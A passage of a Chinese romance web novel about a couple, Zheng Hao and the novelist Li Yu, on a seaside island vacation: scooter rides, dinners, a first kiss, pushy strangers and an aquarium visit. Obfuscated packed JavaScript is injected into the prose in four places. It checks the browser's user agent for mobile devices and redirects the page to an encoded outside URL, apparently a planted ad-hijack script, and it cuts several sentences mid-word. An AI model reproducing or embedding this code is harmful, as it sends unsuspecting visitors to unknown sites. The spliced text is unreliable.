郑好已经提前雀跃起来,无论去过几次,海边总有一种叫人沉迷的魅力,念头才起,海风已拂过沉寂的心头。 “什么时候出发?” 李遇说:“等天亮。” 郑好以为他说的等天亮是指天亮后商讨路线和目的地,谁知道旭日初升,他已经拎着行李站在门口:“已经线上值机过,你还有一个小时收拾东西。” 经过一夜已经冷静下来开始觉得旅行好麻烦的郑好傻眼:“啊?” 李遇轻嗤:“防的就是你这种三分钟热度。” “……” 两个小时后,郑好坐在飞机上,人还是懵的,忽然想到什么:“路西法和加百列怎么办?” 李遇说:“会有人上门。” “哦。” 郑好掀起遮光板看外头的云层,整理腿上的薄毯,又开始兴奋了。 往年也出去玩,起心动念时最是激动了,在脑海中先预演一遍游玩路线,连拍照地点都收藏一大堆。等到开始订机酒做攻略,情绪便潮水一样退远了,开始生出各种不必要的焦虑,人还没出门,困难已经万重山高。 最终成行的十趟里大约只有一趟。 她转过来,看向李遇:“你又颠覆我的认知了。” “?” “你竟然是行动派。” 窗外光线开始刺眼。李遇倾身合上遮光板,把她脑门的眼罩拉下来,轻嗤:“我是菠萝派。” 郑好掀开眼罩一角,看向他:“你做攻略了吗?” “差不多。”李遇一顿,不确定地问:“剥夺你做攻略的乐趣了?” “怎么会。”郑好放下眼罩做出躺平的姿势,“我就喜欢不劳而获。” 落地时天气极好,天空湛蓝澄清。 夏日的海边总是挤满游客,因此李遇避开大热的景点,挑了一个不太出名的海岛渔村。 下了飞机转乘高铁,他们打车去往酒店。 酒店就坐落在海边,窗明几净,巨大的落地窗外是一个方形悬空泳池,更远处就是海。 入住前的一些小小担忧在看到两间卧室时烟消云散,郑好丢开行李箱,蹬蹬蹬跑过去趴在窗玻璃上看海。 水天一色,天是浅色的海,海是流动的天。 李遇把行李拎到相邻卧室,简单换了件衣服,回来的时候她姿势都没变过,巴着窗把鼻子都压塌了。 “走吧。” 郑好转过来,眸子是亮晶晶的:“我喜欢这里。” 李遇弯唇:“这才哪到哪,去换衣服。” 第一件事自然是吃饭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她转身又要走,李遇伸长手臂把人圈在怀里,对着镜头自拍了两张,才松开她:“好了。” 大概因为游客不多,未经污染的沙滩很干净,沙子细软,靠近海岸线的部分海水清澈见底,在日光下闪烁着粼粼的光斑。 郑好兴致勃勃,摆拍了几张照片就蹲在那儿捡贝壳。 李遇捡了把遮阳伞插着,相机架了三脚架放在不远处,自己就放空了坐在旁边看她玩。 海水缓慢地冲刷上岸,漫过她白到晃眼的脚踝,水波湛湛,而后又退开,非常凉快。 “郑好。”他忽然出声。 她转过头来,黑白分明的眸映着他的脸。 他问:“接个吻吗?” 郑好眨眨眼,低头看看挖到一半的小坑:“我现在有点忙。” 李遇好像也只是随口一提,点了点头表示了解,又支着胳膊躺下去。 6. 第6章 海风是凉快的,但架不住越升越高的日头烤晒。 在海边只待了半个小时,李遇带着她离开彩虹公路,肉眼能看到一个灯塔伫立在海中央,一条长长的堤坝通往海上。 就是需要绕远。 李遇搜了搜,附近有租车的。郑好不愿意动了,坐在棕榈树下的秋千上,抱着相机跟三脚架等着。 “别乱跑。”李遇叮嘱着,郑好认真点头。 租借点在马路后方的小村庄口,当地人随意支的一个摊子,车子是他私人的,仅有两辆,停在村子里。电瓶种类倒是很多,有朴素的款式,也有女孩子喜欢的可可爱爱八嘎车。 李遇想了想,拍图片给郑好:【要哪种?】 郑好很快回复:【史努比!】 回到分开的地点,秋千架下没有人,隐隐约约似乎听见她的声音。 李遇就不急了,车子停在路旁,拎着钥匙下去堤坝。往前走了一会儿,绕过几棵棕榈树就看到她了。 不是一个人。 一个男生坐在沙滩边的长椅上摆造型,郑好举着相机帮他找角度拍照。 李遇没再上前,双手环胸靠在树干上看着。 男生镜头感十足,坐那儿一个姿势换一个姿势地,时不时提出要求,跟明星拍杂志封面似的。 快门摁了得有五六十,郑好先停下来:“拍好了,你看看。” 男生摘下墨镜走过来,接过相机随意扫了几张,惊喜道:“拍得真好!谢谢你啊!” 他掏出手机:“加个微信传给我吧。” 郑好说不用:“你开air drop,一张四元,六十全送。” “……” 那个男生离开后,郑好握着相机转了转脖子,回身看见李遇靠在那儿:“你回来啦。” 李遇等她走过来,接过她脖子上笨重的相机,随意瞥了眼屏幕:“挣到钱了吗?” 郑好说:“六十!我也为这趟旅行做出了贡献。” 李遇弯唇,抬手压了压她的帽顶:“厉害死了。” 沿着原路返回,郑好一眼看到路边停着的小电瓶,跳上台阶围着转了一圈:“史努比!” 转着转着发现不太对,她看人家骑的都带一个斗座,坐在里面好潇洒。 李遇说:”带小座位的不好骑,怕翻车。” 那还是安全第一。 郑好接受了这个朴素版的小电瓶,摸摸车头:“可爱。” 李遇慢悠悠说:“你先别急着可爱。” “?”又怎么。 她很快知道了。 车子头重脚轻,座椅只有短短的一截狗身,李遇人高马大,一坐上去就挤占了大半个空间,她的屁股就卡在史努比的身体跟腿之间的缝隙里,双脚只能踩着前方小小的一块凸起,跟悬空没有差别。 好不容易挤上车,两个人挨得紧紧地,她得牢牢抱住李遇的腰才能避免因为颠簸而被甩尾的下场。 郑好抱着他,脑门抵在他背上,默默吐槽:“我觉得自己像只青蛙。” 李遇笑出声,心想这趟心血来潮的旅行可真是来对了。 环海公路视野开阔,目之所及尽是闪耀的海面,深深浅浅折射出世界上最缤纷的蓝。 海风吹拂,空气中能嗅到大海的味道,寂静的、澎湃的。 李遇载着她慢悠悠地沿着彩虹公路骑,郑好也嗅到他的味道。 恣意的、温柔的。 最终因为不想下坝,两人只远远看了一眼那网红灯塔。 灯塔大同小异,是那条礁石铺就的海上小径带来荒芜的宿命感。 礁石上挤满了为宿命而来的旅客。 电瓶车停在路边,他们买了两杯公路咖啡,略甜,但喝得很开心。 郑好举起相机遥遥拍了一张,托笨重镜头的福,也算是亲临其境了。 拍完单人照,郑好学乖了不再只顾自己美丽,架起支架跟李遇挨在一起拍了合照。 午后的太阳已经接近毒辣,他们折返还了电瓶,再打车回酒店。 郑好卸了妆换上睡衣,一头栽进床铺里,白天的活力透支得一干二净。 李遇挨着门边看她一会儿,忽地一笑。 郑好艰难地睁开眼睛看他一眼:“你笑什么?” 李遇说:“你是不是有什么开关,怎么一会儿一个样。” 他猜测开关就藏在她的化妆包里。 郑好没精神搭理他,有气无力地摆摆手,陷进柔软的被子里睡去了。 李遇又站了一会儿,掩上门回侧卧攒接下来几天的更新。 再醒来时已经到傍晚,落地窗没拉窗帘,一轮炽烈的的凝缩的红日将落未落,悬在海岸线上。 郑好趴在床上,安静地看完这一场日落。 海水吞噬最后一道天光,白天看来可亲可爱的海面一片漆黑,变成了深不见底的蛰伏的野兽,时不时发出渺远的浪潮般的吼叫。 郑好想到李遇的上一本书封面,粼,原来是这样的意思。 想到他,郑好掀开被子起床,隔壁房门虚掩着,李遇坐在窗边听海,手里捏着一个酒杯。 笔记本搁在床上,已经结束今日工作。 郑好的影子映在玻璃上,他转过身:“睡好了?” “嗯。” 李遇把酒杯放下:“那去吃饭。” 郑好站在原地没动,在他过来时微微仰头嗅了嗅,酒气淡淡,不算难闻。 她看向笔记本,问:“找到灵感了吗?” “一点。”李遇说,眉眼垂着,莫名有些疏离。 郑好就盯着他:“你的开关又在哪呢?” 他淡淡地看着郑好,透过那双漂亮的眸看见自己。 片刻后,他俯下身在那双唇上轻轻碰了碰,一触即离。 “在这里。” 他说。 郑好有点喜欢谈恋爱了。 去吃晚饭时,郑好又换了条裙子,化了淡妆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140008|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们在沙滩旁的音乐吧吃了一顿西餐,味道很一般,意境胜过一切。 室内在播经典电影,泰坦尼克号,杰克跟露丝在船尾夕阳下对视,剪影美得像油画。 片刻后,沙滩边有流浪歌手抱着吉他轻声吟唱英文歌,关于海边的一场邂逅。 歌声响起的刹那,郑好决定原谅厨师糟糕的厨艺。 又过一会儿,身后不远处传来起哄声,一个男人从地上起身,握着女人的手亲吻,两人面色激动相拥在一起。 求婚成功了。 幸福是一种病毒。 郑好抿了一口气泡水似的调酒,也跟着鼓起掌。 可惜这幸福没能感染李遇,他侧身望着暗处的海面,在出神,也许还沉浸在他笔下那个阴森吊诡的世界里。 不过郑好今晚不想当书粉,想要行使女朋友任性的权利。 她左右看了看,周边有许多姿态亲密的情侣,于是抓起扶手,连人带椅子朝他挪了两步。 两个椅子碰擦了下,挨到一起。 李遇回过神来,还没搞清楚状况:“怎么了?” 郑好目不转睛地看着电影,身体斜过去,肩膀隔着两只布艺扶手轻轻碰到他,说:“贴贴。” 李遇反应了两秒,没忍住笑,也往她的方向歪:“噢,贴贴。” 他学着她的语气,听起来怪幼稚的,郑好脸颊有点热,瞪他:“闭嘴。” 李遇不说了,两个人缩在昏暗松软的座椅里,一会儿看电影,一会儿吐槽餐品,不知不觉消磨了大半个晚上。 电影演到画像的一幕,郑好淡定地看着,还抽空给自己装了五个指头的妙脆角,一边看一边嘎嘣嘎嘣咬。 又过一会儿,满是雾气的车窗上印下情难自抑的手印。 周边响起一些窸窸窣窣的声音。 郑好也撇开头去数盘子里的花生米,一颗两颗数不清楚,总之好忙。 李遇看着她忽然忙碌,提醒:“你成年很久了。” 郑好说:“年龄上去了,心智还没跟上。” 这种小场面,放平时绝对不在话下,此刻和李遇坐在一起就变得很古怪了,她浑身不自在。 早知道不贴贴了。 李遇:“啧。” 两个人静悄悄起身离开了成人小剧场。 酒店后花园缀着灯带,大草坪上的花洒发出呲呲的声音,郑好长舒一口气,缓过来了,正想和他商量去续摊烧烤,转身对上李遇若有所思的目光。 她把话吞了下去,心想,这人写作怪投入的,随时随地就进入状态了。 安静地走了一段路,他忽然开口:“你对柏拉图式恋爱怎么看?” 郑好:“?” 李遇说:“点头yes,摇头no。” “……” 郑好有点明白过来了,不太想理他。 李遇追上来:“这个问题挺重要的,我们有必要提前探讨下。” 郑好:“……” 7. 第7章 一直回到酒店,李遇还在追问她的答案。 进电梯的时候一对情侣跟着进来,郑好顺势和他分开,一人一边占据里面的小角落。 反观那对小情侣靠在一起,男生说了句什么,女生挽着他的手臂嘻嘻笑。 郑好倒不想窥探人家的隐私,只是厢壁明亮,电梯门一关就看到两人亲密的姿势。她的眼神多停留了两秒,然后就对上倒影中李遇的目光,直勾勾地盯着她看。 郑好别开头去,数着按键上方的楼层。 出电梯刷开房间门,郑好闷声回卧室,赶在李遇跟进来前关上了门。 她靠在门后等了一会儿,听见脚步声缓缓离开进了隔壁房间。 她舒了口气——这种环境下可不适合继续刚才的话题,危险。 她摘下耳环和项链,盘腿坐在床边刷平板,打算晚一点再出去洗漱。 时间一点点流逝,隔壁好像没了动静。 十一点多,郑好有了些困意,习惯性点开书粉群看了一眼,发现竟然没有更新。 正奇怪,忽然听见落地窗外传来两下咚咚的敲击声,走过去掀开窗帘一看,就见他们的由缰大大换了睡衣,长手长脚蹲在窗外。 “……” 看见她,李遇扬了扬手机,又敲一下玻璃。 郑好拿出兜里手机,李遇的电话打了进来。 看他一眼,郑好放下窗帘,摁了接听。 电话那头说:“我今晚睡不着了。” 郑好沉默两秒:“你是不是有毒。” “这个话题我们可以晚点探讨,柏拉图的事比较重要。”他语气郑重,仿佛真的在意答案。 郑好没急着说话,隔着窗帘和听筒,落地窗落锁的声音清晰地传进两人耳朵里,掷地有声地回答了他的问题。 李遇一静:“我很受伤。” 郑好忽然想笑,忍住了,煞有其事地回答:“柏拉图式恋爱不好吗?难道你不觉得灵魂的交感远比一时的身体冲动更加动人吗?” 李遇说:“有人信奉精神上的连接,有人更追求□□的吸引,两者本身就很难彻底分割。” 郑好有心和他作对:“可是我认为□□吸引的本能必然导致灵魂交流的搁浅,身体到达彼岸的瞬间,精神的契合就开始褪色了。” 李遇:“你是没有实践的空想主义家?” 郑好:“不行吗?书上就是这样写的。” 李遇不说话了。 依稀的海浪声隔着窗户传来。 郑好动了动脖子,以为话题可以到此结束,李遇气闷说:“你看的什么破书,可以烧了。” 郑好:“某个姓由名缰的老师写的。” 李遇:“……” 由缰大大当晚怒更三章,激情发博:!!! 粉丝群里在这三个感叹号里读出了大大夙兴夜寐痛改前非的讯息,喜出望外,奔走相告。 现实里,夙兴夜寐倒是真的,李遇翻完了自己这两年写的小说,辅以网络搜索,完全不记得自己在书里传播过这种极端错误的思想。 他开始质疑:“你是不是随口乱说的?” 郑好看见他眼下的黑眼圈:“你就当我乱说的吧。” 李遇盯她两秒,抓狂地挠了下头,抱着电脑继续回去溯源了。 接下来两天,郑好有些太过清净了。 李遇由一开始的执着到怀疑,最终转为挫败,绝口不提柏拉图的事了。 *** 这天晚上吃自助烧烤。 郑好坐在悬吊的藤椅上悠闲晃悠,李遇拿着夹子在边上烤肉。 头顶是漫天繁星,星星闪烁,就像地上嘈嘈切切的人声的具象化。 一切都很安宁。 果饮有点甜腻,郑好跑进大厅另找喝的,看见水果区有许多平时没见过的,写着莲雾、释迦、燕窝果等等。 她好奇,每样都拿了一个,满载而归。 回去时意外碰见那天问她拍照的男生。 对方身边簇拥着几个朋友,窃窃私语一阵,跑来问她要微信号。郑好不给,对方以没收到照片为由胡搅蛮缠,最后见她比海边大礁石还难以撼动,没辙了,实话实说:“我跟朋友打赌,拜托啦美女,帮个忙?我好歹付过你钱的。” 这话很不好听,郑好有些生气:“六十块是照片的钱,要买我的微信还远远不够。” 男生也气笑了:“那你说,多少钱买你的微信号?六百?总不能六千吧?你号镶钻了?” 郑好说:“没有镶钻,所以有些人为什么一定要买?” “拜托,要不是看你漂亮,六十我都不付。这种旅行照免费都有人拍,不是背个相机就能自称摄影师的。” 男生没了耐心,却不肯认输,再次打开收款码递过来,“六百,我就想赢打赌,给个面子?加完再删也随你。” 两人僵持在桌子前面,有人看过来了,郑好觉得烦。虽然尊重生物多样性,但她真的很讨厌跟人打交道。 “我不愿意,这四个字很难理解吗?” 男生眉峰一拢,正要说什么,李遇已经过来了,站到郑好身侧,揽住她肩膀:“怎么了?” 对面看到人高马大的后援,气焰瞬间收束,嘟嘟囔囔:“早说啊有男朋友了……” 郑好心情更差劲了,心里的小火龙憋足了劲要喷火,被李遇摁着后脑勺带走了。 长长的走廊将身后的吵闹隔开,郑好步履生风走过一段,渐渐放慢了脚步,而后肩膀一塌。 她挑了半天的水果,到头来一个都吃不上。 倒是吃了一肚子气。 莫名其妙。 “他什么意思?我的个人意愿为什么要排在所谓男朋友的存在之后?‘我不愿意’,这难道不是世界上最好理解也最值得尊重的理由吗?”郑好的小火龙咆哮起来,把火星子对准李遇,推开他,“都怪你,为什么拉我走,我已经准备好战斗了!” 李遇觉得她像一只白孔雀。 他靠在走廊窗边,双手抱胸,饶有兴趣问:“你要怎么战斗?” 郑好想了想:“我要条理清晰地攻击他刚才说过的每一句话。” 她开始掰手指头,“第一,我付出了精力和时间,以劳动换取报酬有什么可耻的?交易自发自愿,他如果不认可,大可以拍屁股走人,我又没有拿枪威胁他付款。” “第二,旅途中当然有免费帮忙拍照的好心路人,他们的热心肠却不是理直气壮白嫖的底气。” “最后,他自己心知肚明,这六十元不是买我的照片,而是投石问路的敲门砖,买一个艳遇的盲盒而已。” 她噼里啪啦好一通输出,李遇听完了,说:“我保证,他只会盯着你掰手指头的动作,然后脑袋空空地想:手挺漂亮。” “……” “哪有那么多听你掰手指的人。你路上碰到一只狗也要停下来讲道理?讲得过来吗?” 郑好是讲不过狗,但是能讲过他:“你找到名人名言的出处了吗?” 李遇瞬间噤声。 郑好心情好多了。 过一会儿,李遇哼了一声:“以后给你改名了,不叫郑好,叫郑坏吧。” 好心情被破坏,郑好躲回到房间工作了。 她原本画了一只讨人嫌的恶犬,临发表前又全部抹掉,改画海边的日落、潮汐的起伏,又画一对朦胧雾气中交缠的手臂。 最后沉思片刻,画了一只昂扬拖尾的白孔雀。 出于私心,她把孔雀画得很漂亮,画完自己颇感满意。 发出后,有人立即发表了评论:【泰坦尼克号吗?我也超爱这部电影。】 评论下面零星有人盖楼,话题与漫画无关。 郑好盯着尾图发一会儿呆,发现多了一个评论,从插画时就关注她的铁粉:【太太的笔触不太一样了哦,是恋爱了吗?】 郑好回复她:【嗯呢。】 回复发出她就后悔了,她不知道李遇还有没有在看她的更新。 早知道不该把马甲透露给他。 原先的漫画里也有他,关于行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140009|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹不明职业成谜的黑雾室友、作息颠倒偶尔投喂的无脸男…… 不知道从什么时候开始,他的出现变得隐秘而具有指向性,藏了她很多心事。 郑好丢开平板不再管了。 时间不早,但对于习惯熬夜的她来说还不到休息的时候。 在床上翻来覆去躺了一会儿,她披着薄外套推开落地窗出去露台。 露台连通两个房间和泳池,李遇的窗帘拉着,亮着灯,应该还在码字——他最近憋着一股气,更新格外努力。 冰啤酒跟冰桶一起放在水里,丝丝地往外冒冷气, 她也跟着坐在泳池边,裙摆捞上来,两条小腿浸在盈盈的水中,轻轻摆动两下,涟漪撞碎了月亮。 度假真快乐啊。 脑袋里空空的,看见海是海,看见云是云,看见啤酒……嗯,就喝。 郑好坐在池边看星星,不知不觉喝完了一瓶啤酒。 没什么晕眩感,倒是肚子发胀。 忽然手机滋滋两声,粉丝群里正在过年。 由缰大大果然更新了个大的。 郑好只瞥了一眼标题就退出来,看向身后的房间,双腿在水面拍打出水声。 安安静静的,没人搭理,反倒一个不小心踢开了冰桶。 冰块清脆地叮当起来,像一艘并不平稳的小船,在水面上晃啊晃。 她把冰桶勾回来,握着里面剩余的原本给别人准备的那瓶啤酒,蠢蠢欲动。 刚捞起啤酒瓶,身后就传来那个别人的声音。 “我要带着一个酒鬼回去了吗?” 郑好转过来,他斜倚着墙,黑色衬衫开到第三颗扣子,眉眼隐在暗处,在夜色下迷糊得有些惊艳。 他赤着脚走过来,挨着她坐下,顺手拦截了啤酒瓶放在一边。 郑好:“你写完了?” 李遇嗯了声,乜她:“你没看?” “没有。”因为真的没看,郑好的下一句话说得理直气壮,“我又不是你的粉丝。” 李遇:“哦,不是我粉丝的人连我的小号都扒出来了。” 郑好惊讶:“你想起来了?” 李遇颇为哀怨:“拜你所赐,完整回顾了自己的出道历程。” 然后在某一本冷门杂志里发现了自己早期另一个笔名下的中二短篇,故作深沉强行哲理,绝对的黑历史。 李遇:“我写了这么多书,你净捡着糟粕看。” 倒也不至于是糟粕。 那时候他的文笔还有些稚嫩,行文之间有意无意可以窥见李遇的本体,也很有意思。 这样想着,她更不愿意李遇看她的漫画,趁机说:“那我们做个约定,我不看你的书,你也不准去追我的漫画,怎么样?” 她更新不规律,李遇没有蹲她更新的习惯,闻言眉梢轻挑:“你画我了?” “当然没有。” 郑好不欲解释,只让他答应。 李遇想了想,说好。 双方握有对方的马甲,这只是一个君子协定。 郑好却很放心。 远方的灯塔倏地闪了两下红光,好像巨兽被梦惊醒似的忽闪忽闪。 郑好也想起另一个问题:“为什么我是白孔雀?” “什么为什么?” 郑好:“我搜了资料,原来它是基因突变来的。” 李遇:“嗯,所以十分珍稀。” 郑好在意的点不一样:“可是珍稀又不一定美丽。” 而且白孔雀的雌鸟没有长长的尾羽,其实并不好看。 “那你可误会了。珍稀代表的从来不是美丽。” 李遇转过来,眼中映着荡漾的池水:“是宝贝。” 郑好无言以对。 酒店花园内有虫鸣和鸟叫,远处是潮汐吞卷的声音,郑好在纷乱的思绪里抓到自己的心跳声。 她看着李遇的眼睛,心想,如果他现在再问那个问题,那么她会答应。 但李遇没问。 偏偏这会儿不问了。 8. 第8章 第二天郑好还是没能起来看日出,在房里睡到自然醒,晃晃悠悠到楼下吃早餐。 像他们一样躺平式度假的人不少,九点多的餐厅熙熙攘攘地。 郑好咬着一块斑斓糕,说:“老大,今天不想去冲浪,可以申请换一个项目吗?” 李遇刚刚听到邻座情侣的对话,觉得她会喜欢:“想喂魔鬼鱼吗?” 郑好超级想,三两口把早餐吃完,拿着房卡就先跑回去化妆了。 等电梯的时候,花园外进来一个人,身上披着浴巾,穿沙滩裤跟拖鞋,短发湿漉漉地盖在浴巾下面,随性不羁。 郑好的目光在他脸上停了两秒,不着痕迹地往旁边站了站。 他跟那天要微信的人是一伙的。 郑好身上还穿着睡衣,长发随意盘在头顶,素面朝天,自认和那晚不是同一个人,于是大大方方进了电梯。 电梯门合上,倒映出男人年轻的脸庞。 他在看她。 郑好面无表情回视。 电梯缓缓上行,他先开口:“那晚不好意思。” “我们只是网上认识约着玩的,没想到他们是这样莫名其妙的人。” 此刻的他看起来也有些莫名其妙,但是对方态度诚恳,郑好接受了他的道歉,恰好电梯门开,冲他点一点头走了出去。 这只是一段小插曲,郑好并未被影响到心情。 等李遇回来,她已经快收拾好了,今天走的是邻家女孩的路线,克莱因蓝吊带裙刚过膝盖,长发绑成蓬松的麻花辫,圆顶草帽边缘一圈蕾丝花边,丝带一直垂到胸前两侧。 李遇开门就看到她凑在玄关镜前抿口红,动作一顿,才轻轻关上门。 “你这样……” 郑好疑惑地嗯了一声,分出眼光等他的下文。 “……我会以为自己在劈腿。”他慢吞吞地把话说完,真诚地发出疑问,“你为什么每天都不一样?” 前几天的眼睛上挑狭长,有轻熟女人的精灵魅惑。今天又成了下垂的狗狗眼,圆润水灵,像个刚毕业的大学生。 郑好把透明唇蜜抿开:“就当你在夸我了。” 她从柜子里找出一个草编的小包挎上身,左右转了转,问他:“怎么样?” “很漂亮。”李遇上下打量她:“我对你的认知还有很大的开发空间。” 郑好弯唇:“谢谢。” 喂魔鬼鱼要坐船上岛,小船上挤满人,郑好觉得自己像是要被拉去卖掉做苦力。李遇说不会,没有奴隶主要她这么懒惰的奴隶。 排队时,工作人员给了他们一人一个小桶,里头就两条小鱼。 好不容易到了地方,郑好惊呆了。 小小的角落围了十来个人,多半是家长带着孩子。水里孤零零只有三条魔鬼鱼,宽大的身体像一件敞开的斗篷,又像一张干瘪的荷叶,尾巴细长拖在身后,被几个胆大的孩子揪住动弹不了。 工作人员撩撩眼皮,提醒:“不要抓尾巴哦!虽然处理过了,还是可能会有刺的。” 郑好被挡在人群之外,一条魔鬼鱼被抬起身体露出拟人的嘴巴,哇哇吐水,看起来好可怜。 身后还有人说早上八点多过来最好,人少鱼多。 她没有了喂鱼的兴趣:“这鱼名不副实,都叫魔鬼鱼了,怎么还要被迫营业。” 李遇:“可见谋生无论在哪个物种界都不容易。” 郑好点头。 她挣不到钱似乎也变得理所当然起来。毕竟她比鱼还懒,鱼八点多就披着斗篷出门营业了。 眼看马上就排到他们,郑好把桶里的两条鱼倒给身后一个小女孩,拉着李遇离开了。 漫无目的地在岛上逛了一会儿,郑好发现他们虽然不是被卖来做苦力,也是来当大怨种的。 岛上目之所及都是明码标价,连沙滩边的破椅子都要付钱入座,大概只剩下呼吸是免费的。 她深深吸气:“好了,吸到就是赚到。” 李遇:“你有一点可爱。” 准备离开时,海上驶来一个摩托艇,轰轰轰地非常拉风。 停下后,上面下来一个人,竟然是早上酒店电梯里的那位。 海岛终究是太小了。 男生穿着橘色救生衣,短发意气风发地撩在脑后,手臂肌肉贲张,很是阳光。 郑好本想当作没看见,男生从小艇跳下来,脸上露出大大的笑容,牙齿白到反光。 “这么巧!” 他随手拆了救生衣扔给同伴,踩着水就过来了。 “你来玩水上项目?还是喂鱼?” 郑好没回答,先看向李遇,这种社交事宜一般由李遇出马。 可李遇事不关己地看着那辆摩托艇。 郑好只好回答:“准备回去了。” 男生看一眼被人群包围的喂鱼区,了然:“人太多了吧?” “要不要去水族馆?先坐船然后开车过去,一个小时就到了。我们刚好在找人拼团票,四个人打八八折。” 他说着又从兜里掏出防水袋包裹的手机,“我算半个导游,冲浪划水都可以找我当教练。” 郑好看过去:庄肃安,潜水教练证。 她又扭头朝摩托艇看了一眼,男生立马解释:“那几个大少爷脾气,跟他们不是一路人。这个是我朋友,A钱贼快,没破事。” 李遇没有反对,最终四人小团成行了。 另一位新朋友姓廖,有些腼腆。 庄肃安确实对几个海岛非常了解,路上一边开车,一边给他们讲当地趣事。 主要是给郑好说,因为李遇一上车就歪在车窗上闭目休息。郑好以为他睡着了,勉为其难地打起精神跟庄肃安社交。 忽然车子经过一道深坑剧烈地颠簸起伏,她惯性悬空,几乎要飞出去,一只手伸来,稳稳地揽住她的腰。 郑好被扯回来趴在他肩上,仰头,对上李遇清明的目光:“你是我们车上的空投武器吗?” 郑好:“……” “你装睡?” “被你炸醒了。” “……” 庄肃安看一眼后视镜:“没看到这里有个坑,不好意思。撞到没有?” “没事。” 李遇扶着她坐起来,车窗拉开一道缝隙,海的味道随风灌入车里,还有不知名的植物的香气。 海是一贯的漂亮,远处一艘货轮驶过,在碧蓝的海面卷起翻边的白浪。 庄肃安熟悉路况,一路畅通无阻,下车时水族馆门票已经买好了。 时间早步入下午,庄廖两个人一早去海上玩,现在已经饥肠辘辘,商量着要先去吃点东西,水族馆并不大,晚点去也绰绰有余。 郑好还不饿,但此时分道扬镳总有利用之嫌,于是也跟着去了。 庄肃安带着他们找到一家海鲜火锅店。 人多的优势便体现出来,盘子摆满了一桌,全是新鲜的海货。那盘生蚝的个头几乎赶上郑好的一个手掌大。 她默默伸手过去比划了下,转头无声向李遇哇了一声。 庄肃安往锅里加汤,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140010|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看着大而已,下锅一煮也就一口的事。” “你们来几天了?吃过糟粕醋没?这家店的底料不一样,整个岛上排第一名!不吃就白来了。” 老板过来告诉他们蘸料的位置,庄肃安又热情地说:“蘸料也是这家店特色,我去拿。” 说着,招呼上廖青阳去调他特别研发的酱料。 两个人离席,郑好无声松一口气。 庄肃安的话好碎,而廖青阳像个社恐挂件,再加上李遇全程不怎么吱声,接话的重担落在她肩上,她真是累了。 “你怎么都不说话?”下午的他安静地不像话。 李遇其实是昨晚没睡好,精神不佳懒得应付外人,但他回答:“旅行不就是要结交新的朋友吗?你总不能只和我交流。” “……哦,这样。” 把上层的浮沫撇开,李遇放下碗,看着她:“你以为是哪样?” 郑好才不会承认自作多情,扭过头去搅李遇调好的油碟,香菜碎浩浩荡荡地沉入香醋,颇为壮烈。 静不过两秒,她想起来反驳:“我才不是只和你说话,那个拍照哥……” 她很快意识到举的例子毫无用处,自觉闭上嘴,李遇笑笑不说话。 庄肃安的推荐十分靠谱,吃完火锅,郑好觉得自己的胃里容纳了一整个海洋,暖暖的,很安心。 吃得太饱,他们乘了一段观光车去水族馆。 游客不多也不少,随着扶梯缓缓下沉,郑好进入了另一个隐秘的国度。 斑斓的鱼群在头顶穿梭,呼朋引伴,自由而不寂寞。 扶梯到深处,光线暗下来,郑好发觉今天穿错了衣服。 隧道里是昏沉的蓝,她的裙子置身其中几乎也要融进湛蓝的水中。 她的旅行虽然不为出片,但这样的女鬼体验还是有些遗憾。 忽然一片阴影兜头罩下来。 郑好抬头,看见李遇朦胧的脸。他今天穿了白色衬衫,此时脱下来套给她,身上还有件浅灰色短袖。 郑好惊呆了:“你都不会长痱子的吗?” 李遇没好气:“说谢谢就可以了。” 李遇给她把袖子挽上去两道,扣子散着,扎起来在腰间系了个结。 郑好低头,又对着玻璃上的反光照了照,满意了:“谢谢。” 庄肃安在旁边乐呵呵地说:“你哥对你真好。” 郑好跟李遇同时转头看他,廖小挂件难得有了自主反应,翻了个大大的白眼。 郑好看完傻子,又去看李遇,李遇也垂眸在看她,隔着玻璃栈道朦胧的海。 鱼群在身后哗地一声散开。 两个当事人都没解释。 郑好抿唇,扭头往后退了半步。 别扭来得莫名其妙。 庄肃安对汹涌的暗潮一无所知,带着他们往前走,遇上光线好的地方,举着手机热情地提供拍照服务:“我能给你找到最好的角度。” 郑好拒绝了,从自己的随身小包里掏出一个手持dv,津津有味地趴在玻璃上看小丑鱼钻海葵。 